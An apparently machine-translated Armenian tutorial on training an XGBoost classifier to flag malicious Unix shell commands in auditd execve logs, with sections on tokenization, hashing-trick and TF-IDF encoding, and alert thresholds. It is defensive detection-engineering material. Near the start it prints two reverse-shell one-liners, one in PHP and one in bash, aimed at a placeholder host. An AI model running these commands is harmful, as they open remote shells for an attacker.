Այս հոդվածը ինչպես վարվելկոդերի նմուշներով անվտանգության մասնագետների և տվյալների գիտնականների համար, ովքեր ցանկանում են կիրառել մեքենայական ուսուցման տեխնիկա կիբերանվտանգության կարիքների համար:

Ներածություն

Մեքենայական ուսուցման (ML) ալգորիթմների կիրառելիությունը՝ արդյունաբերությունում, ձեռնարկներում և դասընթացներում, մեծապես կողմնակալ է ML մոդելների կառուցման ուղղությամբ: Մեր տեսանկյունից, սակայն, տվյալների նախամշակման քայլը (այսինքն՝ տեքստային համակարգի գրանցումը վերածել թվային զանգվածների, որոնք արժեքավոր պատկերացումներ են հավաքում տվյալներից) ունի ամենաբարձր հոգեբանական և իմացական բացը անվտանգության ինժեներների և վերլուծաբանների համար, ովքեր փորձում են: նրանց տվյալները զինել:

Գոյություն ունեն մատյանների հավաքագրման հսկայական հանգույցներ, որոնք չունեն որակական վերլուծություն՝ ձեռք բերված տվյալներից անհրաժեշտ տեսանելիությունը պարզելու համար: Մատյանների տերաբայթերը հաճախ հավաքվում են միայն հիմնական վերլուծություններ կատարելու համար (օրինակ՝ ստորագրության վրա հիմնված հիմնական կանոնները) և համարվում են, որ օգտագործվում են ad hoc, ռեակտիվ եղանակով, եթե անհրաժեշտ է հետաքննություն: Արժեքավոր տվյալների օրինակ՝ առանց բավարար վերլուծական ուշադրության — auditdexecve syscall-ը, որը պարունակում է Unix վահանակ հրամանի տողեր, որոնք ցուցադրված են վերևում Նկար 1-ում:

Բազմաթիվ արժեքավոր եզրակացություններ կարելի է ձեռք բերել՝ այս տվյալների վրա ձեռքով էվրիստիկա սահմանելով: Դուք անպայման պետք է արձագանքեք այն դեպքերին, երբ pty և spawn-ն օգտագործվում են նույն execveկանչի կամ գտնվելու վայրի արգումենտներում, ինչպես օգտագործվում է /dev/shmը: Այնուամենայնիվ, շատ դեպքերում, կոնկրետ տեխնիկայի տատանումների հակված ամուր ձեռքով էվրիստիկայի սահմանումը անհույս է:

Դիտարկենք այս երկու հակադարձ shell հրամանները.

php -r '$sock=fsockopen("example.com",4242);system("/bin/sh -i <&3 >&3 2>&3");'
bash -i >& /dev/tcp/example.com/4242 0>&1

Թեև մենք տեսնում ենք ընդհանուր օրինաչափություն երկու սահմանումների մեջ, կանոնների վրա հիմնված լավ տրամաբանությունը դրանցից մեկը հայտնաբերելու համար պահանջում է տասնյակ և/կամ հայտարարություններ ռեգեքսի համընկնումներով: Նույնիսկ դրա հետ մեկտեղ, սպառնալիքի դերակատարները կարող են խուսափել ձեռքի մեթոդներից շատերից՝ փոփոխելով և ներմուծելով միջանկյալ փոփոխականների անունները կամ վերանշանակելով ֆայլերի նկարագրիչները:

Այս հոդվածում մենք առաջարկում ենք մտածողության հարթություն, որտեղ Մեքենայական ուսուցումը (ML) օգտագործվում է ձեր տվյալների ելակետը սահմանելու համար որպես կանոնների վրա հիմնված մոտեցման ընդլայնում: ML-ն թույլ է տալիս որոշումների սահմանի կառուցումը ավելի բազմակողմանի, քան ձեռքով էվրիստիկա և ուղղակիորեն ենթադրվում է տվյալների հիման վրա: Մենք կանենք.

  • օգտագործեք auditd execve logging T1059.004 (Հրամանների և սցենարների թարգմանիչ. Unix Shell) հայտնաբերելու համար.
  • քննարկել Unix-ի կեղևի հրամանների նշանավորման և կոդավորման տեխնիկան (TF-IDF և հեշինգի հնարք);
  • օգտագործել scikit-learn և nltk գրադարանները՝ հրամանները որպես վեկտորներ կոդավորելու համար;
  • օգտագործել scikit-learn և xgboost գրադարանները՝ մեքենայական ուսուցման մոդելներ ստեղծելու և վերահսկվող դասակարգիչ պատրաստելու համար.
  • քննարկել չափումները, որոնք թույլ են տալիս գնահատել ML մոդելի կատարումը.

Այս ձեռնարկում մենք չենք.

  • քննարկել հեռաչափության ենթակառուցվածքի կարգավորումը, այնպես որ մենք չենք ծածկում, օրինակ. auditd կոնֆիգուրացիա: Եթե ​​ցանկանում եք լավ մեկնարկային կետ ունենալ, օգտագործեք Ֆլորիան Ռոթի-ի կողմից մեծահոգաբար տրամադրված այս կազմաձևը:
  • լուսաբանեք, թե ինչպես կարելի է այս տվյալները բերել ձեր վերլուծական հոսթին. մենք չենք ընդգրկում հատուկ գործիքի API նմուշներ: Մենք հանդիպեցինք նման տվյալների, որոնք պահվում էին Elastic, Splunk և Spark կլաստերներում, և մեր դիտարկումների հիման վրա տվյալների հարցումները մարտահրավեր չեն պրակտիկանտների համար:

Եթե ​​ցանկանում եք դիտարկել կիբերանվտանգության կարիքների համար տվյալների գիտության կիրառելիության այլ ասպեկտներ, հաշվի առեք այս հոդվածները հարակից թեմաներով.

Տվյալների հավաքածուի ձևավորում

auditd(և այլընտրանքային գործակալները, ինչպիսին է auditbeat-ը) ապահովում են տարբեր տեսակի գործունեության համակարգում, օրինակ՝ ցանցային մուտքի, ֆայլային համակարգի գործառնությունների կամ գործընթացի ստեղծման համար: Վերջինս ստացվում է execve syscall-ի օգտագործումը գրավելու միջոցով, և կախված կոնֆիգուրացիայից, նման իրադարձությունները կարող են տարբեր տեսք ունենալ, բայց ի վերջո տրամադրել նույն տեղեկատվությունը.

Այս վերլուծության շրջանակներում մենք առաջարկում ենք կենտրոնանալ ստեղծվող գործընթացի հրամանի տողի վրա: Խորհուրդ ենք տալիս վերցնել process.args-ում ներկայացված զանգվածը և միացնել այն մեկ տողի, քանի որ.

  • process.titleարժեքը հաճախ սահմանափակվում է 128 նիշերով կամ ինչ-որ բան բացակայում է.
  • process.args հաճախ տրամադրում է սխալ «tokenized» հրաման:

Ներքին տվյալների շտեմարանների հետ կապված մեր փորձը ցույց է տալիս, որ process.args-ի տրամադրած տեղեկատվությունը շատ արդյունավետ է այս հոդվածում նկարագրված տեխնիկայի հետ: Այնուամենայնիվ, այս գրության համար մենք հավաքում ենք նվիրված, բաց տվյալների բազա, որը բաղկացած է երկու մասից.

  • լեգիտիմ հրամաններ, որոնք ձևավորվել են NL2Bash տվյալների բազայից [Lin et al. 2018], որը պարունակում է ջնջված Unix կեղևի հրամաններ այնպիսի ռեսուրսներից, ինչպիսին է quora;
  • վնասակար գործունեություն ցամաքում ապրելով, որն օգտագործվում է իրական սպառնալիքների դերակատարների և ներթափանցման փորձարկողների կողմից՝ Unix համակարգերը թվարկելու և շահագործելու համար. մեր կողմից ձեռքով հավաքված տվյալների բազա՝ հատուկ այս հետազոտության համար տարբեր սպառնալիքների հետախուզական և ներթափանցման փորձարկման ռեսուրսներից:

Հրամանների նախնական մշակում

Մեքենայի ուսուցման մոդելներն ակնկալում են կոդավորված տվյալներ՝ թվային վեկտորներ, որպես մուտքագրում իրենց ֆունկցիոնալության համար: Դասական բնական լեզվի մշակման (NLP) խողովակաշարի բարձր մակարդակի օրինակը կարող է այսպիսի տեսք ունենալ.

Հավանաբար, shell հրամանների տողերը կարիք չունեն մաքրման կետադրական նշանների, ինչպես շատ NLP հավելվածներ, քանի որ shell-ի շարահյուսությունը կետադրական նշաններում ներառում է իմացական գիտելիքների մեծ մասը: Այնուամենայնիվ, ձեզ դեռևս կարող է անհրաժեշտ լինել մաքրման այլ տեսակ՝ հիմնված ձեր ստացած հեռաչափության վրա, օրինակ՝ տիրույթի անունների, IP հասցեների և օգտատերերի անունների նորմալացում:

Տեքստային տվյալները որպես հատկանիշի վեկտորներ մշակելու կարևոր քայլերն են Tokenization և Ecoding, որոնք մենք մանրամասնորեն քննարկում ենք ստորև: Հարկ է նշել, որ տարիների ընթացքում դասական NLP հավելվածները մշակել են բազմաթիվ այլ տեխնիկաներ, որոնք ավելի քիչ են համապատասխանում թաղանթային հեռաչափությանը, և մենք դրանք բաց ենք թողնում այս վարժության համար:

Tokenization

Տվյալների նախնական մշակումը և կոդավորումը մեծապես կախված են դաշտից և տվյալների հատուկ աղբյուրից: Tokenization-ը ներկայացնում է ցանկացած շարունակական հաջորդականությունը տարրական մասերի բաժանելու գաղափարը, որը կոչվում է նշաններ: Կեղևի շարահյուսության վրա կիրառվող թոքենիզացիան զգալիորեն ավելի բարդ է, քան այն, ինչ մենք տեսնում ենք բնական լեզուներում և մի քանի մարտահրավեր է ներկայացնում.

  • տարածությունները միշտ չէ, որ տարրական բաժանիչներ են.
  • կետերը և ստորակետները ունեն հատուկ նշանակություն.
  • կետադրական նշանների ետևում գտնվող հատուկ արժեքներ, ինչպիսիք են գծիկ, խողովակ, կետ-ստորակետ և այլն:

Մենք կարող ենք օգտագործել ShellTokenizer դասը, որն իրականացվել է որպես մեր Shell Language Processing (SLP) գործիքակազմի մաս՝ արդյունավետ թոքենիզացիայի համար: Մենք ցույց ենք տվել, որ կեղևի հրամանների տողերի համար հատուկ ցուցիչի օգտագործումը զգալիորեն մեծացնում է Machine Learning խողովակաշարերի աշխատանքը: Լրացուցիչ մանրամասների համար տե՛ս մեր թերթը [Trizna 2021]:

Այնուամենայնիվ, SLP նշանաբանն ավելի ժամանակ պահանջող է, քան շատ օպտիմիզացված NLP նշանաբաններ: Հետևաբար, մենք կօգտագործենք WordPunctTokenizer nltk գրադարանից այս հոդվածի հետախուզական վերլուծության համար: Այն պահպանում է կետադրական նշանները և ապահովում է ռեսուրսների որակի արժանապատիվ փոխզիջում, երբ կիրառվում է Unix shell հրամանների վրա:

Կոդավորում

Երբ մենք ստանում ենք հրամանների նշանավորված հաջորդականություն, մենք կարող ենք անցնել այս հաջորդականությունների թվային ձևով ներկայացմանը: Տեքստային նշանների հաջորդականությունը թվային զանգվածի տեսքով ներկայացնելու բազմաթիվ հարմար եղանակներ կան: Մենք կքննարկենք.

  • One-Hot
  • Բառերի տոպրակ
  • հեշինգի հնարք վեկտորատոր
  • TF-IDF (ժամկետային հաճախականություն-հակադարձ փաստաթղթի հաճախականություն)

Ես առաջարկում եմ ստեղծել ինտուիցիա կոդավորման սխեմաների հետևում՝ օգտագործելով հետևյալ տվյալների բազան.

1. I love dogs.
2. I hate dogs and knitting.
3. Knitting is my hobby and my passion.

Նման տվյալների բազայի համար One-Hot կոդավորումն այսպիսի տեսք ունի. պարզապես ներկայացնում է, թե ինչ բառեր են հայտնվում կոնկրետ մուտքագրում.

Bag-of-Words (BoW) (a.k.a. CountVetorizer-ի տերմինաբանությամբ) կոդավորումն այսպիսի տեսք ունի. այն կատարում է մուտքագրման առանձին նշանների հաշվում.

HashingVetorizerբարելավված բառի պայուսակ է, որն իրականացնում է նշանների քարտեզագրում դեպի հեշեր: Դուք կորցնում եք նշանային արժեքը վերականգնելու ունակությունը (քանի որ հեշը միակողմանի ֆունկցիա է), բայց դա կտրուկ նվազեցնում է հիշողության պահանջները և թույլ է տալիս հոսքային ուսուցում: HashingVetorizer-ի հիմքում ընկած ֆունկցիոնալության հիանալի բացատրությունը տրված է [K. Գանեսան].

TF-IDF-ը BoW-ի ավելի բարդ տարբերակ է, որտեղ բառերի տեսքը այլփաստաթղթերում հաշվի է առնվում.

Նմուշային տվյալների հավաքածուի օրինակում դա կհանգեցնի հետևյալի.

Ի տարբերություն One-Hot-ի և BoW-ի, TF-IDF-ի հաճախականության վրա հիմնված կոդավորումը մեզ թույլ է տալիս ընդգծել ընթացիկ փաստաթղթերի ներկայացուցիչ նշանները և չշեշտադրել ընդհանուր նշանները:

Զարմանալիորեն, HashingVetorizer-ը զգալիորեն ավելի լավ է աշխատում անվտանգության որոշ հավելվածներում, քան TF-IDF-ը: Մի փոքր դուրս գալով համատեքստից՝ ստորև ներկայացված է դասակարգման առաջադրանքի ROC կորերի համեմատությունը վերը նշված տեխնիկայի մեր տվյալների բազայի հետ (բացառությամբ BoW).

Մենք տեսնում ենք բացթողում HashingVetorizerTF-IDF և One-Hot կոդավորումների միջև, ինչը նշանակում է, որ այս նախնական մշակման մեթոդը ավելի լավ դասակարգման արդյունքներ է տալիս: Նույն հեշինգի հնարք գերազանցությունը նկատվում է անվտանգության այլ խնդիրների դեպքում, օրինակ՝ չարամիտ ծրագրերի դասակարգման [Ceschin and Botacin 2021]: Հետևաբար, ձեր տվյալների հետ աշխատելիս մենք առաջարկում ենք փորձեր և՛ TF-IDF, և՛ HashingVetorizer-ի հետ և ընտրում ենք մեկը, որն ապահովում է լավագույն արդյունքները վավերացման հավաքածուի վրա:

Ելնելով վերը նշված արդյունքներից՝ այս հոդվածի շրջանակներում մենք կօգտագործենք HashingVetorizerհարմարեցված նշանաբանով: ML համայնքում ենթադրվում է օգտագործել Xորպես մուտքային տվյալների նշում: Հետևաբար, «հեշինգի հնարքը» և TF-IDF մատրիցները կարելի է ձեռք բերել raw_commands-ի ցանկից՝ օգտագործելով sklearnկոդավորիչը և nltktokenizer-ը հետևյալ կերպ (IP հասցեի նորմալացմամբ).

Այս պահին մենք ստանում ենք կոդավորված զանգված. շնորհավորում եմ:

>>> print(X["HashingVectorizer"].shape)
>>> X["HashingVectorizer"][0:3].toarray()
(12730, 262144)
array([[0., 0., 0., ..., 0., 0., 0.],
        [0., 0., 0., ..., 0., 0., 0.],
        [0., 0., 0., ..., 0., 0., 0.]])

Բացի այդ, երբ օգտագործվում են վերահսկվող ալգորիթմներ, մենք պետք է նշենք տվյալների պիտակը, որը նշվում է Yմոդելը պատրաստելու համար: Այս դեպքում մենք 0 պիտակը վերագրում ենք բարենպաստ գրառումներին, իսկ 1 պիտակը՝ չարամիտությունը ներկայացնելու համար.

raw_commands = benign + malicious
Y = np.array([0] * len(benign) + [1] * len(malicious), dtype=int)

Մեքենայի ուսուցման դասակարգիչ

Մոդելային ճարտարապետություն

Այս պահին կոդավորված տվյալները պատրաստ են մշակման մեքենայական ուսուցման բազմաթիվ մոդելների կողմից: Այսպիսով, եկեք ձևակերպենք Deep Learning մոդելը:

Եթե ​​ցանկանում եք անմիջապես փոխանցել տվյալները նեյրոնային ցանցերին, խնդրում ենք, խոսեք Մայքի հետ։ Մի օգտագործեք Նեյրալ Ցանցեր, քանի դեռ չգիտեք, թե ինչու է ձեզ անհրաժեշտ Deep Learning: Deep Learning-ը բերում է խնդիրներ, որոնք սովորաբար արգելափակում են դրանց տեղակայումը արտադրական միջավայրում.

  • լավ բաշխում սովորելու համար անհրաժեշտ է մեծ նմուշ (հաշվի առնելով վերահսկվող բովանդակությունը. դուք պետք է շատ ծախսեք տվյալների պիտակավորման վրա)
  • նեյրոնային ցանցի ճարտարապետության համապատասխան կոնֆիգուրացիան ընտրելու համար անհրաժեշտ են զգալիորեն ավելի շատ մարդկային և հաշվողական ռեսուրսներ:

Հետևաբար, Deep Learning-ը նկատելիորեն ավելի թանկ է ձեզ համար որպես հավելվածի սեփականատեր և հաճախ կարող է ավելի վատ արդյունքներ տալ, եթե վերը նշված պարբերակները բավարար ուշադրություն չեն դարձնում:

Դասակարգման համար մենք առաջարկում ենք առաջին ընտրությունը լինել Gradient Boosted Decision Trees (GBDT)ալգորիթմը, մասնավորապես XGBoost իրականացումը:

Ապացուցված է, որ XGBoost-ը ոսկե ստանդարտ է աղյուսակային տվյալների դասակարգման համար՝ ֆիքսված երկարության վեկտորներ (մեր դեպքը): Ավելին, այն ապահովում է լավագույն ճշգրտությունը և հաշվողական ռեսուրսների համադրությունը.

Դժվար է նկարագրել ուժեղացված անսամբլը առանց դրան առանձին հոդված հատկացնելու, սակայն երկու քայլով բացատրությունը կարող է հետևյալ տեսք ունենալ. (2) մենք մի քանի խելացի մանիպուլյացիաներ ենք անում՝ շատ ծառերից մեկ կարծիք ստանալու համար, որտեղ յուրաքանչյուր հաջորդ ծառ մարզվել է նախորդ ծառերի սխալների հիման վրա: Եթե ​​ցանկանում եք ավելի խորը բացատրություն GBDT-ի վերաբերյալ. 1. Վիքի. 2. Ինտուիցիա և պատկերացումներ:

Մոդելի ուսուցումը կատարվում է fit() մեթոդով, իսկ կանխատեսումը կարող է իրականացվել predict()-ի միջոցով (տրում է պարզապես պիտակ՝ վնասակար կամ բարենպաստ) կամ predict_proba() (վերադարձնում է հավանականությունները).

Վերևի սցենարի բլոկի ելքը տալիս է հետևյալ զանգվածը՝ array([[0.1696732, 0.8303268]], dtype=float32)

Այստեղ մենք տեսնում ենք, որ shellshock-ը, որը կանչում է հետին դռների ներբեռնում և ֆոնային կատարում, համարվում է վնասակար 0.8303268հավանականությամբ մոդելի կողմից: Եթե ​​որոշման շեմը սահմանում ենք որպես դասական 0,5, ինչը նշանակում է, որ ավելի մեծ հավանականությունները հանգեցնում են վնասակար գնահատականի, ապա մեր տվյալների շփոթության մատրիցը HashingVetorizer-ով ունի հետևյալ տեսքը.

Հայտնաբերման ինժեներական շրջանակ

Այս պահին մեր մոդելը պատրաստ է տեղակայվել կասկածելի գործունեության հայտնաբերման համար հիմք ծառայելու համար.

  1. Ներբեռնեք աուդիտի ենթարկվածմատյանների հոսք դեպի վերլուծական հոսթ՝ ML մոդելով;
  2. Վերլուծել process.argsաուդիտի ենթարկվածիրադարձությունից;
  3. Tokenizer & կոդավորել argsընտրված նախնական մշակման մեթոդով և տրամադրել այն մոդելի predict_proba()մեթոդին;
  4. Զեկուցեք SIEM/Jira/SOAR/Slack-ին, եթե չարամտությունը գերազանցում է հավանականության շեմը:

Լրացուցիչ նշում. այս հոդվածում մենք փորձեցինք որոշել որոշման սահմանագիծը վնասակար և բարենպաստ հրամանների միջև: Այնուամենայնիվ, սա սովորաբար հակաարդյունավետ է, և մենք առաջարկում ենք տվյալների բազա ձևավորել, ուստի ML մոդելը կենտրոնանում է նեղ TTP-ի վրա, օրինակ՝ միայն (1) կեղևի հակադարձ հայտնաբերում կամ (2) վտանգված մեքենայի թվարկում:

Առցանց ուսուցում — Կեղծ դրականի նվազեցում

Երբ մոդելը գործարկվի և նպաստի ձեր հայտնաբերմանը, դուք կտեսնեք կեղծ դրական: Հետևաբար, մենք առաջարկում ենք կարգավորել չարամիտության շեմը, որպեսզի համապատասխանի ազդանշանների ցանկալի մակարդակին (ավելի բարձր շեմ, ավելի քիչ ահազանգեր, բայց ավելի շատ կեղծ բացասականներ):

Այնուամենայնիվ, մոդելը կարող է և պետք է վերապատրաստվի այս սխալներից խուսափելու համար: Մի ճանապարհ է թարմացնել նախնական ուսումնական տվյալների բազան նոր օրինակներով, որոնք ունեն ճիշտ պիտակներ և վերապատրաստել մոդելը զրոյից: Երկրորդ ճանապարհն է օգտագործել առցանց ուսուցման տեխնիկան՝ թարմացնելով մոդելը տվյալների հոսքից: Որոշ մոդելներ իրականացնում են partial_fit()-ը և թույլ են տալիս թարմացնել մոդելի վարքագիծը, երբ նոր տվյալներ են հայտնվում: Այս թեմայի վերաբերյալ տես sklearn documentation-ը: Այս կարիքների համար մենք առաջարկում ենք XGBClassifier-ի փոխարեն օգտագործել sklearn-ի շրջանակներում իրականացվող հիմնական նեյրոնային ցանցը — MLPClassifier (MLP կամ Multi-Layered P >erception-ը մեքենայական ուսուցման հնաոճ անուն է):

Օրինակ, հաշվի առնելով կեղծ դրական արդյունքների հայտնվելը, մոդելը կարող է վերապատրաստվել այս դեպքերում միայն հատուկ հրամանների վրա.

Եզրակացություններ

Մինչ բնական լեզվի մշակման (NLP) կամ համակարգչային տեսլականի (CV) հավելվածները մեծապես փոխվել են առաջադեմ արհեստական ​​ինտելեկտի շնորհիվ, մենք կամաց-կամաց ընդունում ենք այս տեխնիկան կիբերանվտանգության կարիքների համար: Թեև արդյունաբերությունը զգալի արդյունքների է հասել որոշ ուղղություններով, օրինակ՝ չարամիտ ծրագրերի դասակարգումը դյուրակիր գործարկվող (PE) ֆայլերից կամ լավ գրականության ի հայտ գալով (օրինակ՝ Will Schroeder-ի հրապարակումների շարքը սկսած այստեղից): , ML տեխնիկայի օգտագործմամբ անվտանգության վրա հիմնված վարքագծային վերլուծության նյութը դեռ սակավ է:

Ինչպես ցույց է տրված այս հոդվածում, զգալի բարելավումներ կարելի է ձեռք բերել առանց ծախսատար խորը ուսուցման լուծումների ներդրման և մեծ ներդրումների R&D-ում, սակայն օգտագործելով այս թեմայում քննարկված պարզապես սովորական տեխնիկան: Տեղեկատվական անվտանգության հատուկ խնդիրների համար խելացի, ընտրովի կիրառմամբ, նույնիսկ պարզ ML տեխնիկան ապահովում է ուշագրավ բարելավումներ անվտանգության ինժեներների և վերլուծաբանների ամենօրյա գործունեության մեջ:

Հուսով ենք, որ այս հրապարակման մեջ տարածված տեղեկատվությունը կոգեշնչի անվտանգության սիրահարներին՝ փորձել ML տեխնիկան՝ լուծելու իրենց խնդիրները՝ այդպիսով նվազագույնի հասցնելով տվյալների գիտության և տեղեկատվական անվտանգության միջև եղած բացը: Infosec-ը դեռ պետք է հաղթահարի կիրառելիության բացը` հզորացնելով ոլորտը վերջին տասնամյակում տվյալների գիտության համայնքի կողմից բացահայտված հոյակապ տեխնիկայով: Այս հոդվածի շրջանակներում կատարված բոլոր փորձերը հասանելի են այս նոթատետրում: